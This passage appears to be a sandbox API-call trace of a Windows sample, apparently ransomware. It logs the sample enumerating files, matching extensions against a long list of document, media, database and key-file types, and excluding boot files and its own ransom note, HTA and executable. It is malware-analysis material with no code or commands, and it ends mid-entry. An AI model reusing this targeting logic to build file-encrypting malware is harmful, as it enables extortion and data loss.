[0078.300] lstrlenW (lpString=".mka") returned 4 [0078.300] lstrcmpiW (lpString1=".mka", lpString2=".ELM") returned 1 [0078.300] lstrlenW (lpString=".mkidx") returned 6 [0078.300] lstrcmpiW (lpString1=".mkidx", lpString2="IS.ELM") returned -1 [0078.300] lstrlenW (lpString=".mkv") returned 4 [0078.300] lstrcmpiW (lpString1=".mkv", lpString2=".ELM") returned 1 [0078.300] lstrlenW (lpString=".mos") returned 4 [0078.300] lstrcmpiW (lpString1=".mos", lpString2=".ELM") returned 1 [0078.300] lstrlenW (lpString=".mov") returned 4 [0078.300] lstrcmpiW (lpString1=".mov", lpString2=".ELM") returned 1 [0078.300] lstrlenW (lpString=".mp3") returned 4 [0078.300] lstrcmpiW (lpString1=".mp3", lpString2=".ELM") returned 1 [0078.300] lstrlenW (lpString=".mp4") returned 4 [0078.300] lstrcmpiW (lpString1=".mp4", lpString2=".ELM") returned 1 [0078.300] lstrlenW (lpString=".mpeg") returned 5 [0078.300] lstrcmpiW (lpString1=".mpeg", lpString2="S.ELM") returned -1 [0078.301] lstrlenW (lpString=".mpg") returned 4 [0078.301] lstrcmpiW (lpString1=".mpg", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".mpv") returned 4 [0078.301] lstrcmpiW (lpString1=".mpv", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".mrw") returned 4 [0078.301] lstrcmpiW (lpString1=".mrw", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".msg") returned 4 [0078.301] lstrcmpiW (lpString1=".msg", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".mxl") returned 4 [0078.301] lstrcmpiW (lpString1=".mxl", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".myd") returned 4 [0078.301] lstrcmpiW (lpString1=".myd", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".myi") returned 4 [0078.301] lstrcmpiW (lpString1=".myi", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".nef") returned 4 [0078.301] lstrcmpiW (lpString1=".nef", lpString2=".ELM") returned 1 [0078.301] lstrlenW (lpString=".nrw") returned 4 [0078.301] lstrcmpiW (lpString1=".nrw", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".obj") returned 4 [0078.302] lstrcmpiW (lpString1=".obj", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".odb") returned 4 [0078.302] lstrcmpiW (lpString1=".odb", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".odc") returned 4 [0078.302] lstrcmpiW (lpString1=".odc", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".odm") returned 4 [0078.302] lstrcmpiW (lpString1=".odm", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".odp") returned 4 [0078.302] lstrcmpiW (lpString1=".odp", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".ods") returned 4 [0078.302] lstrcmpiW (lpString1=".ods", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".oft") returned 4 [0078.302] lstrcmpiW (lpString1=".oft", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".one") returned 4 [0078.302] lstrcmpiW (lpString1=".one", lpString2=".ELM") returned 1 [0078.302] lstrlenW (lpString=".onepkg") returned 7 [0078.302] lstrcmpiW (lpString1=".onepkg", lpString2="XIS.ELM") returned -1 [0078.302] lstrlenW (lpString=".onetoc2") returned 8 [0078.303] lstrcmpiW (lpString1=".onetoc2", lpString2="AXIS.ELM") returned -1 [0078.303] lstrlenW (lpString=".opt") returned 4 [0078.303] lstrcmpiW (lpString1=".opt", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".oqy") returned 4 [0078.303] lstrcmpiW (lpString1=".oqy", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".orf") returned 4 [0078.303] lstrcmpiW (lpString1=".orf", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".p12") returned 4 [0078.303] lstrcmpiW (lpString1=".p12", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".p7b") returned 4 [0078.303] lstrcmpiW (lpString1=".p7b", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".p7c") returned 4 [0078.303] lstrcmpiW (lpString1=".p7c", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".pam") returned 4 [0078.303] lstrcmpiW (lpString1=".pam", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".pbm") returned 4 [0078.303] lstrcmpiW (lpString1=".pbm", lpString2=".ELM") returned 1 [0078.303] lstrlenW (lpString=".pct") returned 4 [0078.303] lstrcmpiW (lpString1=".pct", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pcx") returned 4 [0078.304] lstrcmpiW (lpString1=".pcx", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pdd") returned 4 [0078.304] lstrcmpiW (lpString1=".pdd", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pdf") returned 4 [0078.304] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pdp") returned 4 [0078.304] lstrcmpiW (lpString1=".pdp", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pef") returned 4 [0078.304] lstrcmpiW (lpString1=".pef", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pem") returned 4 [0078.304] lstrcmpiW (lpString1=".pem", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pff") returned 4 [0078.304] lstrcmpiW (lpString1=".pff", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pfm") returned 4 [0078.304] lstrcmpiW (lpString1=".pfm", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pfx") returned 4 [0078.304] lstrcmpiW (lpString1=".pfx", lpString2=".ELM") returned 1 [0078.304] lstrlenW (lpString=".pgm") returned 4 [0078.305] lstrcmpiW (lpString1=".pgm", lpString2=".ELM") returned 1 [0078.305] lstrlenW (lpString=".php") returned 4 [0078.305] lstrcmpiW (lpString1=".php", lpString2=".ELM") returned 1 [0078.305] lstrlenW (lpString=".php3") returned 5 [0078.305] lstrcmpiW (lpString1=".php3", lpString2="S.ELM") returned -1 [0078.305] lstrlenW (lpString=".php4") returned 5 [0078.305] lstrcmpiW (lpString1=".php4", lpString2="S.ELM") returned -1 [0078.305] lstrlenW (lpString=".php5") returned 5 [0078.305] lstrcmpiW (lpString1=".php5", lpString2="S.ELM") returned -1 [0078.305] lstrlenW (lpString=".phtml") returned 6 [0078.305] lstrcmpiW (lpString1=".phtml", lpString2="IS.ELM") returned -1 [0078.305] lstrlenW (lpString=".pict") returned 5 [0078.305] lstrcmpiW (lpString1=".pict", lpString2="S.ELM") returned -1 [0078.305] lstrlenW (lpString=".pl") returned 3 [0078.305] lstrcmpiW (lpString1=".pl", lpString2="ELM") returned -1 [0078.305] lstrlenW (lpString=".pls") returned 4 [0078.305] lstrcmpiW (lpString1=".pls", lpString2=".ELM") returned 1 [0078.305] lstrlenW (lpString=".pm") returned 3 [0078.306] lstrcmpiW (lpString1=".pm", lpString2="ELM") returned -1 [0078.306] lstrlenW (lpString=".png") returned 4 [0078.306] lstrcmpiW (lpString1=".png", lpString2=".ELM") returned 1 [0078.306] lstrlenW (lpString=".pnm") returned 4 [0078.306] lstrcmpiW (lpString1=".pnm", lpString2=".ELM") returned 1 [0078.306] lstrlenW (lpString=".pot") returned 4 [0078.306] lstrcmpiW (lpString1=".pot", lpString2=".ELM") returned 1 [0078.306] lstrlenW (lpString=".potm") returned 5 [0078.306] lstrcmpiW (lpString1=".potm", lpString2="S.ELM") returned -1 [0078.306] lstrlenW (lpString=".potx") returned 5 [0078.306] lstrcmpiW (lpString1=".potx", lpString2="S.ELM") returned -1 [0078.306] lstrlenW (lpString=".ppa") returned 4 [0078.306] lstrcmpiW (lpString1=".ppa", lpString2=".ELM") returned 1 [0078.306] lstrlenW (lpString=".ppam") returned 5 [0078.306] lstrcmpiW (lpString1=".ppam", lpString2="S.ELM") returned -1 [0078.306] lstrlenW (lpString=".ppm") returned 4 [0078.306] lstrcmpiW (lpString1=".ppm", lpString2=".ELM") returned 1 [0078.306] lstrlenW (lpString=".pps") returned 4 [0078.306] lstrcmpiW (lpString1=".pps", lpString2=".ELM") returned 1 [0078.306] lstrlenW (lpString=".ppsm") returned 5 [0078.306] lstrcmpiW (lpString1=".ppsm", lpString2="S.ELM") returned -1 [0078.307] lstrlenW (lpString=".ppt") returned 4 [0078.307] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0078.307] lstrlenW (lpString=".pptm") returned 5 [0078.307] lstrcmpiW (lpString1=".pptm", lpString2="S.ELM") returned -1 [0078.307] lstrlenW (lpString=".pptx") returned 5 [0078.307] lstrcmpiW (lpString1=".pptx", lpString2="S.ELM") returned -1 [0078.307] lstrlenW (lpString=".prn") returned 4 [0078.307] lstrcmpiW (lpString1=".prn", lpString2=".ELM") returned 1 [0078.307] lstrlenW (lpString=".ps") returned 3 [0078.307] lstrcmpiW (lpString1=".ps", lpString2="ELM") returned -1 [0078.307] lstrlenW (lpString=".psb") returned 4 [0078.307] lstrcmpiW (lpString1=".psb", lpString2=".ELM") returned 1 [0078.307] lstrlenW (lpString=".psd") returned 4 [0078.307] lstrcmpiW (lpString1=".psd", lpString2=".ELM") returned 1 [0078.307] lstrlenW (lpString=".pst") returned 4 [0078.307] lstrcmpiW (lpString1=".pst", lpString2=".ELM") returned 1 [0078.307] lstrlenW (lpString=".ptx") returned 4 [0078.307] lstrcmpiW (lpString1=".ptx", lpString2=".ELM") returned 1 [0078.307] lstrlenW (lpString=".pub") returned 4 [0078.307] lstrcmpiW (lpString1=".pub", lpString2=".ELM") returned 1 [0078.308] lstrlenW (lpString=".pwm") returned 4 [0078.308] lstrcmpiW (lpString1=".pwm", lpString2=".ELM") returned 1 [0078.308] lstrlenW (lpString=".pxr") returned 4 [0078.308] lstrcmpiW (lpString1=".pxr", lpString2=".ELM") returned 1 [0078.308] lstrlenW (lpString=".py") returned 3 [0078.308] lstrcmpiW (lpString1=".py", lpString2="ELM") returned -1 [0078.308] lstrlenW (lpString=".qt") returned 3 [0078.308] lstrcmpiW (lpString1=".qt", lpString2="ELM") returned -1 [0078.308] lstrlenW (lpString=".r3d") returned 4 [0078.308] lstrcmpiW (lpString1=".r3d", lpString2=".ELM") returned 1 [0078.308] lstrlenW (lpString=".raf") returned 4 [0078.308] lstrcmpiW (lpString1=".raf", lpString2=".ELM") returned 1 [0078.308] lstrlenW (lpString=".rar") returned 4 [0078.308] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0078.308] lstrlenW (lpString=".raw") returned 4 [0078.308] lstrcmpiW (lpString1=".raw", lpString2=".ELM") returned 1 [0080.175] FindNextFileW (in: hFindFile=0x3ee3120, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.175] FindNextFileW (in: hFindFile=0x3ee3120, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0081.825] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0081.825] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0081.825] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0081.825] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0081.825] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0081.825] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0081.825] lstrcmpiW (lpString1=".accda", lpString2="ck.png") returned -1 [0081.825] lstrcmpiW (lpString1=".accdb", lpString2="ck.png") returned -1 [0081.825] lstrcmpiW (lpString1=".accdc", lpString2="ck.png") returned -1 [0081.826] lstrcmpiW (lpString1=".accde", lpString2="ck.png") returned -1 [0081.826] lstrcmpiW (lpString1=".accdt", lpString2="ck.png") returned -1 [0081.826] lstrcmpiW (lpString1=".accdw", lpString2="ck.png") returned -1 [0081.826] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0081.826] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0081.826] lstrcmpiW (lpString1=".anim", lpString2="k.png") returned -1 [0081.827] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0081.827] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".ascx", lpString2="k.png") returned -1 [0081.827] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".asmx", lpString2="k.png") returned -1 [0081.827] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".aspx", lpString2="k.png") returned -1 [0081.827] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0081.827] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".backup", lpString2="ack.png") returned -1 [0081.828] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0081.828] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0081.828] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0081.828] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0081.828] lstrcmpiW (lpString1=".cfml", lpString2="k.png") returned -1 [0081.829] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".class", lpString2="ck.png") returned -1 [0081.829] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".config", lpString2="ack.png") returned -1 [0081.829] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0081.829] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0081.829] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0081.830] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0081.830] lstrcmpiW (lpString1=".divx", lpString2="k.png") returned -1 [0081.831] lstrcmpiW (lpString1=".djvu", lpString2="k.png") returned -1 [0081.831] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0081.831] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0081.831] lstrcmpiW (lpString1=".docm", lpString2="k.png") returned -1 [0081.831] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0081.831] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0081.831] lstrcmpiW (lpString1=".dotm", lpString2="k.png") returned -1 [0081.831] lstrcmpiW (lpString1=".dotx", lpString2="k.png") returned -1 [0081.831] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0081.831] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0081.831] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0081.831] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0081.831] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0081.832] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".edml", lpString2="k.png") returned -1 [0081.832] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0081.832] lstrcmpiW (lpString1=".epsf", lpString2="k.png") returned -1 [0081.832] lstrcmpiW (lpString1=".epsp", lpString2="k.png") returned -1 [0081.832] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".fido", lpString2="k.png") returned -1 [0081.833] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0081.833] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0081.833] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0081.833] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".html", lpString2="k.png") returned -1 [0081.834] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".indd", lpString2="k.png") returned -1 [0081.834] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0081.834] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".java", lpString2="k.png") returned -1 [0081.835] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".jpeg", lpString2="k.png") returned -1 [0081.835] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0081.835] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0081.835] lstrcmpiW (lpString1=".json", lpString2="k.png") returned -1 [0081.835] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".lasso", lpString2="ck.png") returned -1 [0081.836] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0081.836] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0081.837] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0081.837] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0081.837] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0081.837] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0081.837] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0081.837] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0081.837] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0081.837] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mhtml", lpString2="ck.png") returned -1 [0081.838] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mkidx", lpString2="ck.png") returned -1 [0081.838] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mpeg", lpString2="k.png") returned -1 [0081.838] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0081.838] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".onepkg", lpString2="ack.png") returned -1 [0081.839] lstrcmpiW (lpString1=".onetoc2", lpString2="lack.png") returned -1 [0081.839] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0081.839] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0081.840] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0081.841] lstrcmpiW (lpString1=".php3", lpString2="k.png") returned -1 [0081.841] lstrcmpiW (lpString1=".php4", lpString2="k.png") returned -1 [0081.841] lstrcmpiW (lpString1=".php5", lpString2="k.png") returned -1 [0081.841] lstrcmpiW (lpString1=".phtml", lpString2="ck.png") returned -1 [0081.841] lstrcmpiW (lpString1=".pict", lpString2="k.png") returned -1 [0081.841] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0081.841] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0081.841] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0081.841] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0081.841] lstrcmpiW (lpString1=".IPM", lpString2=".png") returned -1 [0081.841] lstrcmpiW (lpString1="boot.ini", lpString2="1047x576black.png") returned 1 [0081.841] lstrcmpiW (lpString1="bootfont.bin", lpString2="1047x576black.png") returned 1 [0081.841] lstrcmpiW (lpString1="ntldr", lpString2="1047x576black.png") returned 1 [0081.841] lstrcmpiW (lpString1="ntdetect.com", lpString2="1047x576black.png") returned 1 [0081.841] lstrcmpiW (lpString1="io.sys", lpString2="1047x576black.png") returned 1 [0081.841] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="1047x576black.png") returned 1 [0081.841] lstrcmpiW (lpString1="Info.hta", lpString2="1047x576black.png") returned 1 [0081.841] lstrcmpiW (lpString1="mdskkv.exe", lpString2="1047x576black.png") returned 1 [0081.842] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0081.842] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0081.842] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0081.842] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0081.842] 